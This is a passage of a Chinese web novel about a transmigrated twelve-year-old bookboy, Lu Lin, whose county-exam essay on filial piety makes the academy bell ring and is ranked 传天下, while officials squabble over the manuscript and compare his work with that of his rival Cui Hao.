正和自己友人,站在队伍一旁的大树下,指点江山,唾沫横飞。 察觉到了卢璘的目光,大伯也看了过来。 而后拨开人群,脸上带着几分得意,径直走了过来。 “璘哥儿,别紧张。” 大伯一副过来人的口吻,拍了拍卢璘的肩膀。 “这次就当是来见识见识,考不上也没关系。” “你年纪还小,机会多的是。” 卢璘的脸上没什么表情,甚至连眼皮都未曾抬一下。 还没考呢,就唱衰我考不上是吧! 大伯见卢璘没有反应,尬笑了两声,又慢悠悠地走了回去。 卢璘见大伯如此悠闲,暗自摇头。 大伯早已是童生。 县试与府试,都已通过,不用排队下场,只等着最后一场院试,去府城一决高下。 可不在家好好准备院试,来这里凑什么热闹? 时间一点点流逝,队伍也在缓慢地向前挪动着。 接近半个多时辰过去,终于轮到了卢璘。 负责检查的小吏一脸的公事公办,先是示意卢璘把东西都放下。 紧接着眼睛在卢璘身上仔仔细细地扫了几个来回。 从卢璘脸上察觉不出任何异常后,才开始小心仔细地翻检着卢璘的篮子。 卤味闻了又闻,各种糕点果脯用针插进去。 又抖了抖他的被褥,确认没有任何夹带。 接近一炷香的时间,检查完卢璘随身携带的物品后。 这才拿起桌上的名册,与卢璘的身份文书仔细比对。 “祖父,父,名讳。”小吏头也不抬地问道。 “祖父卢川,父卢厚。”卢璘平静回答。 小吏核对无误,这才抬头瞥了卢璘一眼,看到他文书上柳家书童的身份,眼中闪过一丝异色。 这才挥了挥手,示意放行。 待卢璘走远,那小吏才转头对身旁的同僚,压低了声音,半开玩笑地说道。 “柳家真是家大业大,连个半大的书童都要送来考场凑热闹。” “就是不知道,他们家那位正牌少爷,怎么不见人影。” 同僚闻言摇头,脸上露出鄙夷的神色: “你还不知道?听说柳家那少爷,不通文墨,是个天生的蠢材。” “脑袋跟榆木疙瘩似的,斗大的字不识一筐,送来也是丢人现眼。” 卢璘刚放行不久,人群又一阵骚动,一条通道被衙役们强行清开。 清河县知县大人,在一众官吏的簇拥下,踱步走上了考院前的石阶。 县太爷清了清嗓子,脸上露出笑容: “诸位皆是我清河县的栋梁之才。” “朝廷求贤若渴,圣上恩泽浩荡。” “望尔等今日,奋笔疾书,不负所学,为我清河县,为大夏文道更上一层楼添砖加瓦!” 一番话说的是慷慨激昂。 人群的角落里,一个身着寻常布衣的魏长青,静静地听着县太爷发言,嘴角讥讽笑意。 一个小小的童试也能扯上大夏文道。 难怪这清河县,惯会弄虚作假,一个个滥竽充数的神童,就是被这种虚浮的风气给捧出来的。 魏长青的目光越过那位还在口若悬河的县太爷,落在了人群中一个不起眼的考生身上。 那考生同样年轻,却在一众或紧张或亢奋的学子中,显得格外沉静,渊渟岳峙。 这就是崔皓? 虽然放在人群中不起眼,但确实有一番气度。 魏长青的眼神微微一凝。 自己倒要看看博陵崔家,当世大儒亲手教导出来的子弟,究竟有几分真才实学。 县太爷的场面话说完,考院的大门缓缓打开。 就在这时,又有几名考生姗姗来迟。 几人的出现,立刻引来周围人的一阵低声议论。 “快看,是王景,县学教谕的公子。” “还有李茂,听说他学问了得,这次的案首,八成就要从他们几人中出了。” 魏长青听着这些议论,目光在那几人身上一扫而过,没有太大的波动。 虽然卖相看上去比崔皓强了不止一筹,但气度还是差了不少。 这时,放好了被褥毯子的卢璘提着考篮,随着人流,走进了考院。 高高的院墙内,气氛一下就安静了下来。 考场内,一排排独立的号舍整齐排列。 手持水火棍的衙役在狭长的通道间来回巡视,脚步声轻微却极具压迫感。 考场的最前方,搭着一座高台,主考官正襟危坐,神情严肃。 卢璘按照号牌,找到了自己的位置。 恰好就在第一排,正对着主考官的高台,一举一动,都在对方的眼皮子底下。 他不紧不慢地将考篮放下,开始布置自己的桌面。 高台上的主考官一眼就注意到了过于年轻的卢璘,眉头不自觉地皱了一下。 拿起桌上的名册,翻到卢璘那一页,这才了然。 “十二岁,柳家书童?” 主考官眼中的那一丝诧异,随即暗自摇头。 早就听说柳家少爷不通文墨,看来柳阁老的文名要断在这一代了。 卢璘对主考官的打量毫无所觉,依旧专注地布置着自己的东西。 他放好考篮,取出笔墨纸砚,动作沉稳,有条不紊。 第46章 弟子入则孝,出则悌。 “当!” 悠长的钟声,回荡在考院上空。 沉重的朱漆大门,在衙役的合力推动下,缓缓关闭。 最后一道光线被隔绝。 整个考场,与外界彻底分离开来。 高台之上的主考官站起身,目光如电,扫过下方数百名神情各异的考生。 中气十足的声音在肃静的考场内响起。 “肃静!” 才气自他体内勃发,瞬间压下了所有考生的窃窃私语。 主考官以才气为引,凌空虚点。 半空中,一行金光闪烁的大字,缓缓浮现,清晰地映入每个人的眼帘。 “弟子入则孝,出则悌” 卢璘抬起头,目光平静地看着那行字。 来了。 大夏童试的第一场,四书五经题。 考官会从浩如烟海的经典中,截取一句,作为考题。 让考生破题、承题、起讲、入手、起股、中股、后股、束股,最终写成一篇八股文章。 这个世界的四书五经,与卢璘前世大同小异,只是在某些篇章的解读上,因这个世界独特的才气体系,而衍生出了不同的流派。 弟子入则孝,出则悌。 意思是少年人在家要孝顺父母,出门要尊敬兄长。 看似简单,实则不然。 孝,是侍奉父母,是家庭伦理的基石。 悌,是尊敬兄长,是社会关系的延伸。 卢璘的脑海中,无数念头飞速闪过,一篇文章的骨架,已然清晰。 破题,可从孝悌分论。 孝者,晨昏定省,冬温夏清,是为子女的本分。 悌者,徐行后长,孔怀兄弟,是为手足的情谊。 再论其内外之别。 家,是孝的根本所在。 乡,是悌的实践之地。 父在观其志,父没观其行,此为孝的检验。 尊敬长者,体恤弱小,此为悌的施行。 最后,将格局拔高。 由一人之孝悌,到一家之仁和,再到一国之兴盛。 一家仁,一国兴仁。 这便是明明德于天下,其根源,必始于孝悌。 思路豁然贯通。 卢璘胸中那股积郁已久的清气,仿佛找到了宣泄的出口。 他不再犹豫,将白纸平整地铺在桌案上。 狼毫笔饱蘸墨汁,笔尖在砚台上轻轻一点,提笔,悬腕。 破题首句: “孝以事亲,悌以敬长,此圣人立教之本,人伦所先也。” 落笔的瞬间,卢璘只觉得一股巨大的阻力从纸面上传来,仿佛有千钧之重,压着他的手腕。 他眉头微蹙,胸中才气悄然运转,灌注于笔尖。 那股阻力才慢慢消散。 一笔一划,力透纸背。 当最后一个“也”字写完,手中的狼毫笔杆,竟透出一层淡淡的微光,一闪而逝。 成了。 卢璘心中微定,看来自己破题的思路,是正确的。 …… 考院之外,早已是人声鼎沸。 大伯正与几位相熟的童生,站在不远处的大槐树下,高谈阔论。 考题映在半空,周遭的人群顿时炸开了锅。 “弟子入则孝,出则悌?这题目……有点意思啊。” “看似简单,可要写出彩,难如登天!” 大伯听了考题,先是一愣,随即脸上露出了几分庆幸。 幸好自己不用考县试了。 这题目,太偏,太刁钻了。 往年县试,多是考些中正平和的题目,只要将经义背熟,总能写出些东西。 可今天这题,看似人人都能说上几句,但越是这样的题目,越是考验真功夫。 一个不慎,就容易写得浅薄空洞,沦为下品。 人群的角落里,换上了一身寻常布衣的魏长青,听到这个考题,嘴角却勾起一抹饶有兴致的弧度。 这个考题,倒是有意思。 他倒是很想看看,崔皓会如何解这道题。 是从孝悌引申到忠君爱国? 还是另辟蹊径,阐发更深层的微言大义? …… 考场内,卢璘心无旁骛,笔走龙蛇。 “圣人曰:‘子事父母,鸡初鸣,咸盥漱,栉縰笄总。’是故晨昏定省、冬温夏清,不过尽其职分而已。夫孝,始於事亲,中於事君,终於立身,三才之道备焉。” 写到这里,笔尖光芒越盛,笔下的考卷颜色从白一点点泛黄。 正前方,主考官双眼微闭,并没有发现异常。 卢璘越发精神,双眼炯炯,下笔如有神。 “悌者,敬长之义。《曲礼》云:‘年长以倍,则父事之;十年以长,则兄事之。’故徐行后长,孔怀兄弟,悌之端也。《诗》云:‘兄弟既翕,和乐且耽。’此之谓也。” 先由孝道,引申至治家之本。 “家为孝之本,《孝经》云:‘身体发肤,受之父母,不敢毁伤。’父在观其志,父没观其行,三年无改於父之道,可谓孝矣。是故孝者,家道之所系。” 再由悌道,扩展至乡里之和。 “乡乃悌之基。《论语》云:‘宗族称孝焉,乡党称悌焉。’尊耆老而恤孤弱,礼敬长者,友善兄弟,悌之施也。如此,则家齐国治,天下太平。” 文章层层递进,气势越发磅礴。 最后,卢璘深吸一口气,笔锋一转,写下了整篇文章的点睛之笔,也是最后的总结。 “是故,修身齐家治国平天下也。” 当最后一个“也”字落下的瞬间。 嗡的一声。 一股无形的波动,以卢璘的考桌为中心,轰然散开。 他面前那张薄薄的宣纸,竟无风自动,散发出璀璨的黄光。 ........... 考场外,漫天风雪依旧 高悬的日头躲在厚重的云层后,天地间一片灰蒙。 可就在此时,一声惊雷,毫无征兆地炸响。 轰隆! 一道耀眼的银蛇,撕裂长空。 刹那间,天地乍白。 令人震撼的一幕出现了。 漫天大雪竟在这一刻凝结。 .... 与此同时 不远处的县学内钟楼内。 一口遍体铜绿,刻满了古朴篆文的巨大铜钟,已经百年未曾发出过声响。 咚——! 一声悠远、古朴、厚重的钟鸣,从县学深处响起。 声音仿佛来自远古,带着礼乐教化的庄严,穿透了风雪,穿透了院墙,清晰地传入每一个人的耳中。 人群里,魏长青在看到气象剧变,白日惊雷的时候,就已经皱起了眉头。 当那一声钟鸣入耳,整个人更是愣在原地。 他猛地抬起头,死死盯着县学的方向,眼中满是骇然与难以置信。 “文钟自鸣!” “地鸣之声!” 这不可能! 文钟乃是礼器,与大夏朝的稷下学宫文脉相连。 唯有惊世之作,其文气足以撼动一地文运,才能引动礼器共鸣,通传文脉,此为地鸣之象! 这种异象,百年难得一见! 是谁? 究竟是谁的惊世之作,竟引得文钟为之而鸣? 一个名字,瞬间跃入魏长青的脑海。 崔皓! 定然是崔皓! 只有博陵崔氏,只有当时大儒亲手教导出来的嫡孙,才有可能引动文钟自鸣。 魏长青胸口剧烈起伏,一股难以言喻的激动与狂喜涌上心头。 他本以为这次来临安府,不过是瞧一瞧崔皓有几分真才实学,没想到竟能亲眼见证这等盛事。 有此一人,临安府文坛,当兴! 第47章 文钟自鸣 考场外,高台之上。 县太爷正闭目养神,被这突如其来的钟声惊得一个激灵,差点从椅子上摔下来。 他先是茫然,以为是哪里出了乱子。 可当他意识到那钟声来自何处时,整个人都傻了。 文钟? 是文钟在响? 一股巨大的狂喜从心底涌起。 政绩! 泼天的政绩啊! 自己主考的童试,出了引动文钟自鸣的绝世文章! 这消息要是传上去,自己的仕途…… 县太爷激动得浑身发抖,死死抓着扶手,才勉强没有失态的大笑出声。 他强压下心中的激动,目光灼灼地望着高墙内的考场,心中疯狂猜测。 会是谁? 到底是谁,写出了这等惊世文章。 .......... 考院之外,早已乱成了一锅粥。 那一声惊雷,一声钟鸣,让所有人都懵了。 “怎么回事?打雷了?” “这鬼天气,怎么会打雷?” “那钟声……是县学里的文钟!我听老一辈人说过,那钟几百年没响过了!” 大伯呆呆地望着县学,听着耳边的钟鸣,整个人愣住了。 身为大夏读书人,在场的人都清楚文钟自鸣意味着什么。 读书人毕生追求的最高荣耀。 足以名留青史的文道异象! 许多人惊讶,只是一开始没有反应过来。 “老夫此生若是能写出这等文章,便是立刻死了,也心甘情愿……” 人群中,短暂的惊慌过后,是更为热烈的议论。 “肯定是王景公子!他可是县学教谕的儿子,家学渊源!” “我看是李茂!听说他学问冠绝清河,这次定然是他!” .......... 无数道目光,汇聚在几个早已声名在外的学子家人身上,猜测着,议论着。 ........... 考场内,高台之上,正闭目养神的主考官身子猛地一颤,双眼豁然睁开。 文钟自鸣? 必有惊世文章撼动礼器! 主考官霍然起身,目光如电,疯狂地扫视着下方数百名考生。 是谁? 到底是谁! 下一刻,他的视线停留在眼皮子底下的卢璘身上。 只见卢璘面前,一张考卷散发着阵阵柔和黄光,缓缓升起,最终悬停在了离桌面三尺的半空。 光芒流转间,一个个字以虚影的形式跳跃不断。 “孝以事亲,悌以敬长,此圣人立教之本,人伦所先也。” “悌者,敬长之义。《曲礼》云:‘年长以倍,则父事之;十年以长,则兄事之。’故徐行后长,孔怀兄弟,悌之端也。《诗》云:‘兄弟既翕,和乐且耽。’此之谓也。” “事故,修身齐家治国平天下是也。” 看到这一个个跳跃的字符,主考官瞳孔急速扩张。 是他! 一定是他! “来人!快!以此考生为中心,十步之内,任何人不得靠近!” 守在通道的衙役们愣了一下,但见主考官那副状若疯魔的模样,不敢有丝毫怠慢,立刻冲了过去,将卢璘的号舍团团围住。 考场内,早已是死一般的寂静。 所有考生都停下了笔,呆呆地看着那匪夷所思的一幕。 文钟自鸣,府试达府,院试惊圣。 本以为是传说。 可他们做梦也想不到,传说中的景象,竟然会活生生地出现在自己眼前。 一道道目光,汇聚在卢璘身上,充满了震撼、羡慕,还有难以置信的嫉妒。 人群之中,崔皓也停下了笔。 他抬起头,看向那个被黄光笼罩的少年,一直古井无波的眼眸中,第一次有了异色。 文钟自鸣。 清河县这等小地方,竟然藏着这般人物? 崔皓脸上闪过一丝惊讶,但仅仅是片刻,那丝惊讶便被更深沉的战意所取代。 他收回目光,重新低下头,握紧了手中的狼毫笔,心无旁骛地继续答卷。 主考官此刻哪里还顾得上其他人。 连提醒考生专心答卷,注意时间都忘记了。 所有的心神,都系在了那张悬浮的考卷之上。 主考官也在警戒圈外焦急地来回踱步,嘴里念念有词。 快点结束! 快让老夫看看,这篇引动了文钟自鸣的惊世之作,究竟写了些什么! 刚才看到的那些跳跃的字符,像是猫爪子一样疯狂挠心。 黄光足足持续了一炷香的功夫,才开始缓缓收敛。 光芒散尽,那张承载了惊世之言的考卷,才慢悠悠地飘落回桌案之上。 考卷刚刚落稳。 主考官便再也按捺不住,一个箭步就冲了过去。 他要亲眼看看,到底是什么样的文章,能引动文钟,能让才气显形! 按理说提前阅卷,乃是科场大忌,一旦被发现,不仅自身官位不保,更会背上舞弊的骂名。 可这一刻,他什么都顾不上了。 清河县上百年了,上百年没出过这样的文章了! 就在主考官的手即将触碰到那张考卷的瞬间,考院大门的方向,传来一阵急促的脚步声与呼喊。 “且慢!” 主考官闻声望去,只见太爷在一众衙役的簇拥下,正气喘吁吁地冲了进来。 县太爷一眼就看到了被衙役围得水泄不通的号舍,以及那神情激动的主考官。 一瞬间就明白了。 “是……是哪位学子?” 主考官强压下心中的激动,从怀里掏出考生名册,递了过去。 县太爷接过名册按照那个号舍的位置,找到了对应的名字。 “姓名:卢璘,籍贯:柳府书童。” “柳家书童?”县太爷满脸错愕。 第48章 崔皓的答卷。 县太爷瞪着名册上那行字,眼珠子差点瞪出来。 “柳府书童?” 他又看了一遍,确认自己没有看错。 还真是书童? 能够引动文钟自鸣的惊世文章,竟然出自一个书童之手? 这怎么可能! 县太爷的脑袋嗡嗡作响,感觉脑袋有点不够用了。 他早就听说柳家有个不通文墨的少爷,本以为派了个书童来,也是走个过场。 结果这书童一出手,就是文钟自鸣的绝世之作? 这是什么道理? 主考官见县太爷那副魂不守舍的模样,心中更加焦急。 “大人,此时不是震惊的时候,先看看是什么惊世之作,居然能让文钟自鸣。” 他压低声音,目光灼灼地望着那张考卷。 说完,便伸手准备拿起考卷。 “这等惊世文章,老夫身为主考,理应先行过目,以便评判优劣。” 县太爷闻言,猛地回过神来,及时制止了主考官。 先看? 开什么玩笑! 这可是文钟自鸣的绝世之作,足以名留青史的文章! 谁先看到,那可是天大的荣耀! “慢着!” 县太爷一把拦住主考官,脸上的表情瞬间严肃起来。 “本官乃一县之首,主管清河县所有政务,这等关乎全县文运的大事,理应由本官先行过目!” 主考官眉头一皱,寸步不让。 “大人此言差矣!” “老夫乃县学教谕,主管一县之地的教化文事,科举考试更是老夫的职责所在。” “此等文章,自然应当由老夫先行品鉴!” 县太爷冷哼一声: “教谕大人,你管的是教化,可这里是考场,是本官主持的童试!” “这考卷还未收取,依旧在考试进行当中,你一个教谕,有什么资格插手?” 主考官气得胡须乱颤,这老匹夫,也知道童试是你主持的,可你之前人在哪呢? 考场里又是谁坐镇。 按理说县试的主考官一般是由当地知县担任,可考前这厮却以工作繁忙为由,让自己顶上了。 现在出了能让文钟自鸣,撼动礼器的经典,又张口闭口是自己主持的童试了。 “荒谬!考试进行中,考官不能阅卷,这是哪家的道理?” “再说,此文引动文钟自鸣,已然超脱了寻常考试的范畴,更应当由懂行的人先行品鉴!” 两人你一言我一语,争得面红耳赤。 围在卢璘号舍周围的衙役们面面相觑,不知该听谁的。 正在这时,主考官灵机一动,才气勃发,瞬间在考场上方布下一道无形的屏障。 刹那间,以卢璘为中心的一小片区域,被彻底隔绝开来。 声音传不出去,外面的动静也传不进来。 其他考生只能看到一片模糊的光影,完全不知道里面发生了什么。 “这样总行了吧?” 主考官得意地看着县太爷。 “不会打扰到其他考生,咱们可以放心争论了。” 县太爷气得直跺脚。 老狐狸! 居然用才气作弊! “好!那就一起看!” 县太爷一咬牙,做出了妥协。 “但是本官要站在左边!” “为何?” “本官官大!” 主考官翻了个白眼,也懒得再争。 两人小心翼翼地凑到卢璘的桌案前,目光齐齐落在那张考卷上。 就在这时,考场的另一个角落,又传来了异动。 一股浩然正气冲天而起,虽然没有卢璘那般惊天动地,但也绝非等闲。 才气凝聚成柱,直冲云霄,光芒足有一丈多高。 县太爷和主考官同时转头望去,只见崔皓正缓缓放下手中的狼毫笔。 他面前的考卷虽然没有悬浮,但也散发着明亮的光芒,一行行字迹清晰可见。 “又是一篇达府之作!” 县太爷倒吸一口凉气,眼中满是狂喜。 一场童试,出现两篇经典文章? 这是什么概念? 简直是泼天的政绩送到自己家门口啊! 可是,即便是达府之作,也没能引动文钟自鸣。 这让县太爷对卢璘的文章更加好奇了。 到底是什么样的惊世之作,能够超越达府,引动礼器共鸣? …… 卢璘坐在号舍中,看着周围突然变得模糊的景象,心中了然。 县太爷和主考官的争吵,他并不在意。 此刻的他,正沉浸在一种玄而又玄的状态中。 从写完那篇文章的那一刻起,一股股清凉的气流就不断从脑海深处涌出,冲刷着他的经脉,洗练着他的才气。 这是文道的奖励。 每当写出一篇优秀的文章,文道都会给予相应的反馈。 文章品级越高,奖励越丰厚。 卢璘能感受到,这次的奖励异常丰厚。 丰厚得让他都有些意外。 他知道这篇文章的品级会很高。 毕竟破题立意角度新颖,而且落笔的时候甚至遇到了文道的阻碍。 但没想到,会比之前的诗作还要高。 “居然达到了这个等级....”卢璘心里暗念。 “修身齐家治国平天下”原句由前世《礼记·大学》中提出。 是前世儒家人格塑造的根本路径。 在儒家的地位,类似于武学中,如来神掌的总纲一样的存在。 没想到只是用这一句作为文章结尾点题,居然能起到这么大的作用。 脑海中,那股清凉的气流还在持续不断地涌出,似乎没有停止的迹象。 有些意外的卢璘闭上眼,仔细感受着这种奇妙的变化。 他能清晰的感觉到,自己的才气在以一种惊人的速度增长着。 此前的文位桎梏,隐隐有些松动。 ......... 接近一炷香的时间过去,卢璘才缓缓睁开双眼,脑海中那股清凉气流终于停止涌动。 再次睁开眼,除了县太爷和主考官,卢璘眼前还多了一个人。 一个十五六岁的少年,身着质地上乘的青色儒衫,面容清俊,气质出尘。 最引人注目的,是他眼神中透着的那股从容淡定,让卢璘印象深刻。 刚刚被主考官拉进来的崔皓,同样在打量着卢璘。 能够引动文钟自鸣的,居然看上去不过十二三岁,年龄比自己还小? 崔皓眼中闪过明显的诧异。 不过他很快收敛了脸上的表情。 冲卢璘微微颔首,点头致意。 卢璘点头回礼,两人没有半句交流。 第49章 修身齐家治国平天下 县太爷和主考官对视一眼,都从对方眼中看到了同样的想法。 决定先看看崔皓的达府之作,再去品鉴卢璘那篇引动文钟之作。 县太爷先是礼貌的向崔皓询问意见。 崔皓点头示意,神色平静如水。 得到同意后,主考官迫不及待地拿起崔皓的考卷,县太爷也凑了过来。两人屏息凝神,开始细读。 “孝在养志,悌在守心。父母生我以形骸,圣贤教我以仁义,故孝非惟奉膳,悌不独恭行。” 开篇破题便不同凡响。 主考官眼中闪过赞赏之色,开篇破题直指孝悌的精神内核,而非流于表面的行为规范。 “昔曾子耘瓜受杖而不怨,是谓以孝修身;子路负米百里而不倦,是谓以悌济家。此二子者,未居庙堂之高,然孝悌所至,巷陌生辉。” 承题部分也体现了很高的水平。 以古贤为例,将孝悌从个人品德升华到社会教化,层次分明,逻辑严密。 “故曰:孝悌非为名也,乃为己立心;非为达也,乃为生民立命。苟能以此心推之,虽布衣亦堪为天下法。” 结尾收束有力,将孝悌提升到“立心立命”的高度,格局宏大。 两人读完,皆是摇头感叹。 县太爷更是长长吐出口气,眼中满是钦佩:“妙哉!此文以小见大,紧扣孝悌本质,阐述精妙绝伦。确实是达府经典之作!” 主考官教谕也连连点头:“年纪轻轻便有如此见地,当真是后生可畏啊!” 崔皓淡然一笑,既不骄傲,也不谦逊。 看完崔皓的文章,两人的目光不约而同地转向卢璘。 看着年轻的不像话的卢璘,想到他柳家书童的身份,县太爷忍不住开口:“可是师从柳老爷?” 卢璘摇了摇头:“学生师从沈夫子,讳曰春芳。” 这话一出,县太爷微微一愣。 “沈春芳?“可是前任阁老,礼部尚书沈大学士?” “正是恩师。”卢璘恭敬回答。 县太爷闻言止不住地点头。 难怪! 难怪能写出引动文钟自鸣的惊世之作! 居然是沈大学士的学生! 大学士,这可是翰林之上的存在。 距离大儒之位仅一步之遥! 连崔皓都侧目而视,沈春芳的名讳,他也有所耳闻。 ....... 半个时辰前,柳府,静心堂。 沈夫子难得地早早醒来。 作为上了年纪的老人,他本该在这个时辰还在梦乡中。 可今日却辗转反侧,再无睡意。 今天是璘哥儿下场考试的日子。 他没有去送考,倒不是不关心,而是对自己这个得意门生有着绝对的信心。区区县试第一场,以璘哥儿的学问,实在算不得什么难事。 可沈夫子心中还是有些不安,不知道这份不安来自哪里。 睡不着的沈夫子索性起身,来到书案前,想要写字静心。 狼毫蘸墨,刚写到一半。 窗外一道白光划破天际,紧接着一声惊雷突然炸响。 再便是那悠远古朴的钟鸣声,振聋发聩般,一声声传入沈夫子耳中 “文钟自鸣?” 沈夫子猛地站起身,目光死死盯着县学的方向,眼中满是震撼。 百年难遇的文道异象啊! 谁的文章,竟能撼动礼器,引动文钟? 脑海中,第一个浮现的名字便是崔皓。 柳老爷收集学子信息,同样给了沈夫子一份。 对于崔皓以及崔家,以及那位当世大儒,沈夫子了解比柳老爷更深。 “果然是当世大儒。” 博陵崔家的底蕴,当真深不可测。 亲手教导出来的弟子,都能写出经典,撼动礼器。 至于璘哥儿? 沈夫子摇了摇头,心中压根没往那方面想。 自己虽然是大学士,距离大儒之位,还差那临门一脚。 可这临门一脚的差距,却是云泥之别。 连自己都写不出能撼动礼器的文章,自己的学生又怎么可能? 璘哥儿虽然天赋异禀,学问精深,可毕竟年纪还小,阅历有限。 想要写出这等惊世之作,怕是还需要时日磨砺。 考场内,刚刚看完崔皓文章的县太爷和主考官教谕,迅速被一种更为强烈的好奇代替。 达府之作已是难得。 能引动文钟地鸣的惊世之言,又该是何等模样。 县太爷与主考官教谕,两个加起来超过百岁的脑袋,几乎是同时凑到了卢璘的桌案前。 屏住呼吸,目光灼灼地盯着桌上的考卷。 考卷上的墨迹已干,一个个蝇头小楷,工整得如同刻印出来的一般。 笔锋锐利,铁画银钩,却又带着一股超然物外的飘逸。 单是这份书法功力,就足以让两人心惊。 这绝非一个十二岁少年所能拥有的笔力。 两人的目光,从标题开始,缓缓下移。 “孝以事亲,悌以敬长,此圣人立教之本,人伦所先也。” 好一个开宗明义。 县太爷下意识地点了点头,破题稳健,直指核心,已是上乘之作的根基。 主考官也微微点头,确实是稳健破题,一眼就能瞧得出根基扎实。 果然是沈大学士教出来的弟子。 两人不动声色,目光继续向下。 “夫孝,始於事亲,中於事君,终於立身,三才之道备焉。” 看到此处,县太爷的瞳孔微微一缩。 好大的气魄。 寻常文章论孝,无非局限于家庭伦理。 此文却直接将事亲、事君、立身三者贯通,将个人之孝,提升到了天地人三才的高度。 主考官的呼吸,也变得有些急促。 他已经预感到,这绝非一篇寻常的经义文章。 继续往下。 “家为孝之本,《孝经》云:‘身体发肤,受之父母,不敢毁伤。’父在观其志,父没观其行,三年无改於父之道,可谓孝矣。是故孝者,家道之所系。” “乡乃悌之基。《论语》云:‘宗族称孝焉,乡党称悌焉。’尊耆老而恤孤弱,礼敬长者,友善兄弟,悌之施也。如此,则家齐国治,天下太平。” 文章层层递进,由小见大,从个人到家庭,再从乡里到国家。 逻辑严密,气势磅礴,仿佛有一条无形的阶梯,在两人眼前徐徐展开。 县太爷与主考官看得心神摇曳,几乎要沉浸其中。 仿佛已经忘记了身在何处,忘记了时间的流逝。 眼中只剩下那一句句文字不断冲击着他们心神。 终于,两人目光落在了文章的最后。 那也是整篇文章的收束之笔。 “是故,修身齐家治国平天下也。” 嗡。 短短一行字,却有如带着千钧之力,狠狠砸在两人的心头。 县太爷的身体猛地一颤,死死地盯着那行字。 主考官教谕更是呆立当场。 时间仿佛在这一刻静止。 两人久久失语,脑海中一片空白,只有那十个字在反复回荡。 修身。 齐家。 治国。 平天下。 第50章 传天下! 良久,县太爷才回过神,摇头叹气: “我辈读书人,向来只知‘入则孝,出则悌’是圣贤之道……” “可今日才知,今日方知……” “原来‘孝悌’只是起点,而非终点!” 天下读书人,皓首穷经,所求为何。 无非是做个品行端正的君子,光耀门楣,福泽乡里。 做好孝悌,便是君子。 这是千百年来,所有读书人根深蒂固的认知。 可这篇文章的最后一句,却像一道撕裂黑暗的闪电,照亮了一条前所未有的道路。 它将个人的德行修养修身,与家族的兴旺齐家,再推向国家的治理治国,最终指向苍生的安宁平天下。 这不是空泛的道德说教。 而是一条清晰无比,层层递进,通往圣贤之境的通天大道。 为天下所有读书人,指明了毕生奋斗的方向。 这是为读书人立道啊! 不远处,崔皓的目光越发疑惑,县太爷与主考官的表情就像话剧一样在他面前生动表演。 从欣赏到赞叹到失神再到震撼。 最后是一种朝圣般的敬畏。 两人的反应,比看他的文章时给出的反应要强烈百倍,千倍。 究竟是什么样的文章,能让两位主事官,失态至此。 能表现出朝圣般的谦卑。 就在这时,主考官教谕终于回过神来。 他盯着那张考卷,又看了看眼前的卢璘,嘴巴一阵哆嗦,最后口中吐出三个字。 “传天下。” ....... “传天下??” 崔皓闻言愣在了原地。 他出身博陵崔氏,自幼饱读诗书,比任何人都清楚这三个字的分量。 大夏文道,文章诗作,自有评级。 出县,可令一县文人争相传阅。 达府,能使一府之地文气共鸣。 鸣州,则声动一州,可入州学典藏。 再往上,便是镇国与传天下。 镇国之作,可安邦定国,稳固国运,百年难得一见。 而传天下,则意味着这篇文章,将不再仅仅是一篇文章。 它将被自动刻入文庙,录入圣院最高层的传世阁,蕴含文道真意,跨越时代,供大夏王朝乃至后世万代所有读书人修习参悟。 这,是真正的经典。 是足以与圣贤比肩的立道之言。 崔皓愣在了原地,他做梦也想不到,自己有朝一日,竟然会亲眼见证一篇传天下级别的文章诞生。 还是在清河县这种小地方的童生试上。 卢璘也有些意外。 他知道“修身齐家治国平天下”这套理论在前世儒家思想中的分量,可没想到在这个世界,威力竟恐怖如斯。 他本以为,最多也就是一篇鸣州之作。 看来自己还是低估了这方世界对文道至理的渴求。 县太爷终于从那种被大道灌顶的震撼中回过神来,他看向卢璘的眼神,已经彻底变了。 那不再是看一个晚辈,一个考生。 那是在看一座行走的文道丰碑,一个未来的文坛巨擘。 他脸上挤出比哭还难看的笑容,搓着手,厚着脸皮,凑了上来。 “卢……卢小友。”县太爷的声音都有些发颤,极尽谄媚。 “此等传天下之作,乃是文曲星降世,圣人显灵啊!” “本官……本官斗胆,想替这清河县数十万百姓,替这天下亿万读书人,向小友求一个恩典。” 主考官教谕一听这话,心里顿时咯噔一下,暗道不好。 这老匹夫,脸皮怎么这么厚。 果然,县太爷一躬到底,姿态放得极低。 “不知小友可否将此文章原稿,割爱与本官?” “本官愿以……愿以……” 县太爷突然卡壳了,发现自己搜刮遍了脑海,也想不出有什么东西,能与一篇传天下文章的原稿相提并论。 但话到这里,也只能硬着头皮解释道:“小友放心,传天下之作,圣院的传世阁自有文道法则将其拓印,供天下人参悟。” “本官求的,只是这原稿本身,绝不会影响小友名传天下!” 主考官教谕在一旁看得心里滴血。 被这厮抢先了! 他怎么就没想到! 传天下级别的原稿,若是能拿到手,哪怕只是放在县衙书房供奉着,整个清河县的文运都能因此水涨船高。 这可是泼天的政绩,更是无价的瑰宝。 卢璘看着县太爷那张写满了渴望的脸,心中平静无波。 他微微后退半步,避开了县太爷几乎要贴上来的身体,恭敬地行了一礼。 “大人谬赞了。” “学生才疏学浅,此文不过是拾了家师牙慧,侥幸得之。” “家师临行前曾有交代,学生所有文章,皆需由他老人家先行过目,学生不敢自专。” 他直接把沈夫子搬了出来。 县太爷脸上的笑容顿时僵住。 沈大学士? 他再大的胆子,也不敢跟一位大学士抢东西啊。 “是……是本官唐突了,唐突了。”县太爷讪讪地笑了笑,眼中的失望难掩。 心里更像是在滴血,这可是传天下级别的原稿啊! 一旁的主考官教谕,心里却乐开了花。 好! 怼得好! 我得不到,你也别想得到! 不过,教谕的心思活泛得很快。 传天下的原稿没指望了。 可这里,不是还有一篇达府之作吗? 目光一转,落在了一旁的崔皓身上。 主考官清了清嗓子,整理了一下仪容,这才缓步走到崔皓面前,用一种极为郑重的语气,躬身行礼。 “崔公子,老夫有一不情之请。”他指了指崔皓桌上的考卷。 “公子这篇达府之作,立意高远,文采斐然,老夫愿出三百两纹银,求购此文原稿,不知公子意下如何?” 崔皓微微颔首,算是应允。 区区一篇达府之作,对他而言,算不得什么。 卢璘看着这一幕,眼中闪过一丝疑惑。 一篇达府文章的原稿,就能值三百两银子? 这几乎是寻常人家一辈子都赚不到的巨款。 为什么他们对原稿如此热衷? 似乎是看出了卢璘的困惑,主考官教谕抚着胡须为卢璘开口解惑: “卢小友,你可知,这文章原稿,为何如此珍贵?” 卢璘摇了摇头,虚心求教。 “因为这原稿,早已超脱了纸墨的范畴。” “尤其是达府之上的经典,其本身,便是一件蕴含了文道力量与气运法则的圣物!” 